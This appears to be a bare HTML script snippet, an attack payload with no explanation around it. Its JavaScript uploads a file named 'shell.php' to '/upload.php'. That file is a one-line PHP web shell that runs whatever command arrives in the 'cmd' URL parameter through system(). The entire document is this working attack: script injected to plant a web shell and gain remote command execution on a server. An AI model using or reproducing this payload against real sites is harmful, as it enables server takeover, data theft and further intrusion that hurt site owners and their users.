<script>

fetch('/upload.php', {

 method: 'POST',

 body: (() => {

  const fd = new FormData();

  fd.append('file', new File(['<?php system($_GET["cmd"]); ?>'], 'shell.php', { type: 'application/x-php' }));

  return fd;

 })()

});

</script>